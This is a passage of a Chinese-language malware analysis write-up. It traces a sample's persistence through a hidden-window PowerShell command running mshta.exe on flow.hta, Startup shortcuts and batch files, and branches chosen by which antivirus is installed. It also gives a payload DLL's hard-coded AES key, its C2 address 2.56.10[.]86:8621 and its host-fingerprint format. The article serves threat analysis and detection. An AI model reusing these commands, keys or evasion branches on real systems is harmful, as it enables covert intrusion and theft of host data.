style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">PowerShell -noLOG  -WInDoWST  HIDDe  -NoeXI  -NoprOFILE -noniNtErac  -CommaN  </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;C:\Windows\SysWOW64\mshta.exe&#34;</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;C:\Users\Public\core\flow.hta&#34;</span></span><span leaf="">; </span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">exit</span></span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">StartLnk</span></strong><span leaf="">：快捷方式目标是 cmd.exe /c 启动 flowB.bat，</span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">cmd.exe /c start /b C:\Users\Public\core\flowB.bat</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">L        À      F£     Zç¹7Õt]ç¹7Õt]ç¹7Õ @                    5 PàOÐ ê:i¢ +00 /C:\                   V 1     mOcy Windows @    ï¾/M.1mOcy.   íã                   ÇâJ W i n d o w s    Z 1     O7 System32  B    ï¾/M.1O7.   J</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""><a class="wx_topic_link" topic-id="mj9scy90-fz76an" style="color: #576B95 !important;" data-topic="1">#â</a> S y s t e m 3 2    V 2  @ ëND;  cmd.exe @    ï¾ëND;ëND;.   :        ð         }³¿ c m d . e x e      J            -       I         ê¸Æ    C:\Windows\System32\cmd.exe  * / c   s t a r t   / b   C : \ U s e r s \ P u b l i c \ c o r e \ f l o w B . b a t       %   Ý          wNÁç]N·D.±®Q·Ý        X       desktop-01a0tf0 ²-/¼$ñFªUï xî¿éÛêOxsX-Ô²-/¼$ñFªUï xî¿éÛêOxsX-Ô1      Y   1SPSí0½ÚC G§øÐ¤sf&#34;=   d          S y s t e m 3 2   ( C : \ W i n d o w s )          1SPSâXF¼L8C»ü&amp;mÎm          .   S - 1 - 5 - 2 1 - 8 0 2 2 3 3 6 5 9 - 1 1 5 8 3 5 2 4 8 0 - 3 1 6 3 7 6 0 7 9 5 - 1 0 0 2       ¥   1SPS0ñ%·ïG¥ñë¬!   </span></span><span leaf=""><br/></span><span leaf="">         c m d . e x e          @    (è¹7Õ            @     )              A p p l i c a t i o n          @   t]ç¹7Õ    e   1SPS¦jc(=ÒµÖ ÀOÙÐI             C : \ W i n d o w s \ S y s t e m 3 2 \ c m d . e x e       9   1SPS±mD­pH§H@.¤=x   h    H   ÚÎj«,a\MTòs!ío            </span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">Quick</span></strong><span leaf="">（指Quick Heal，印度Quick Heal Technologies公司开发的安全软件）分支写入 flowB.bat 与 flow.hta 到 C:\Users\Public\core\，在 Startup 创建 flow.lnk（指向 cmd.exe /c start /b flowB.bat）实现登录自启，同时立即启动 flowB.bat 触发 mshta.exe 执行</span></p></div><p style="text-align: center;"><img class="rich_pages wxw-img" data-ratio="0.31851851851851853" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100030287" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=bf3d3965&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBSITy8DJoRDG7wBujSfm1pfr6ibIqP06zFqQeWNfpS9czcbibu1CYZVZAtmDPFIWsuU5GFyfvpun8XQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 10px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: black;letter-spacing: 0px;background-color: rgb(255, 255, 255);line-height: 1.6;word-break: break-word;text-align: left;font-size: 14px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;visibility: visible;"><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">Avast / AVG / Avira</span></strong><span leaf="">分支会将 </span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">flow.hta</span></strong><span leaf=""> 复制到 Startup 目录，然后立即启动该文件</span></p></div><p style="text-align: center;"><img class="rich_pages wxw-img" data-ratio="0.3537037037037037" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100030288" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=ea6827fc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBSITy8DJoRDG7wBujSfm1pfFD3RfH7umC8f0eVq1CscjibPmMuoiac1fDAA9NxxZuFYZkTPnBNcOfJA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 10px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: black;letter-spacing: 0px;background-color: rgb(255, 255, 255);line-height: 1.6;word-break: break-word;text-align: left;font-size: 14px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;visibility: visible;"><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">其他分支会写入 </span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">flowB.bat</span></strong><span leaf=""> 到 C:\Users\Public\core\目录，注册表写入实现自启动，复制 </span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">flow.hta</span></strong><span leaf="">  到 C:\Users\Public\core\ 目录并通过 </span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">flowB.bat</span></strong><span leaf=""> 执行</span></p></div><p style="text-align: center;"><img class="rich_pages wxw-img" data-ratio="0.41163055872291904" data-s="300,640" data-type="png" data-w="877" type="block" data-imgfileid="100030289" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=328c90a3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBSITy8DJoRDG7wBujSfm1pfkEfsDxZvqTUjE8r7nwVXibJhgasqftkxKFrliayhHyBJ8TL3jQ5sJyrQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 10px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: black;letter-spacing: 0px;background-color: rgb(255, 255, 255);line-height: 1.6;word-break: break-word;text-align: left;font-size: 14px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;visibility: visible;"><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">flow.hta</span></strong><span leaf="">与前面分析的HTA文件的手法一致，如同样的异或Key，反序列化执行方式等，其最终是执行一个名为</span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">iinneldc.dll</span></strong><span leaf="">（MD5：a53b1134f5bad31b407f5f597fd1cfa3）的文件。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">类TestClass包含一个类ComputerInfo，一个硬编码的key，其值为&#34;</span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">ZAEDF_98768_@$#%_QCHF</span></strong><span leaf="">&#34;以及方法Connect()</span></p></div><p style="text-align: center;"><img class="rich_pages wxw-img" data-ratio="0.3411154345006485" data-s="300,640" data-type="png" data-w="771" type="block" data-imgfileid="100030290" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=8ee4f02d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBSITy8DJoRDG7wBujSfm1pfib4YLKRl4VpItdibyRawKIic6BI1tlKOb8VTCJn1OXMuoSq6qBkTpONtw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 10px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: black;letter-spacing: 0px;background-color: rgb(255, 255, 255);line-height: 1.6;word-break: break-word;text-align: left;font-size: 14px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;visibility: visible;"><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">DoMainWork函数</span></strong><span leaf="">会不断反连C2地址 </span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">2.56.10[.]86:8621</span></strong><span leaf="">，初始上线会发送发送主机指纹，然后按照格式解析接收命令，使用用固定 key 做 AES 解密，最后交给 parse() 函数执行/分发任务。</span></p><ul style="list-style-type: square;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">主机指纹内容格式为 NewConnection|本机所有IPv4（以,为间隔）|UserName|ComputerName|OSVersion 。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">C2下发数据帧格式为[4字节长度][payload]。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">AES解密密钥为固定值&#34;</span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">ZAEDF_98768_@$#%_QCHF</span></strong><span leaf="">&#34;</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">AES加密函数仅用 MD5 哈希 生成密钥，使用ECB 模式</span></p></li></ul></div><p style="text-align: center;"><img class="rich_pages wxw-img" data-ratio="0.625" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100030291" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=537d58cc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBSITy8DJoRDG7wBujSfm1pfaZj0Q5X92C1SOiaQImiaiadWLgy00o1qfpd1zy3zSpsg6rIjLkEnupNibw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 10px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: black;letter-spacing: 0px;background-color: rgb(255, 255, 255);line-height: 1.6;word-break: break-word;text-align: left;font-size: 14px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;visibility: visible;"><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">DoMainWork函数</span></strong><span leaf="">指令和含义如下：</span></p><p data-tool="mdnice编辑器" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;overflow-x: auto;"><table style="display: table;text-align: left;"><thead><tr><th style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;text-align: left;"><p><span leaf="">命令</span></p></th><th style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: 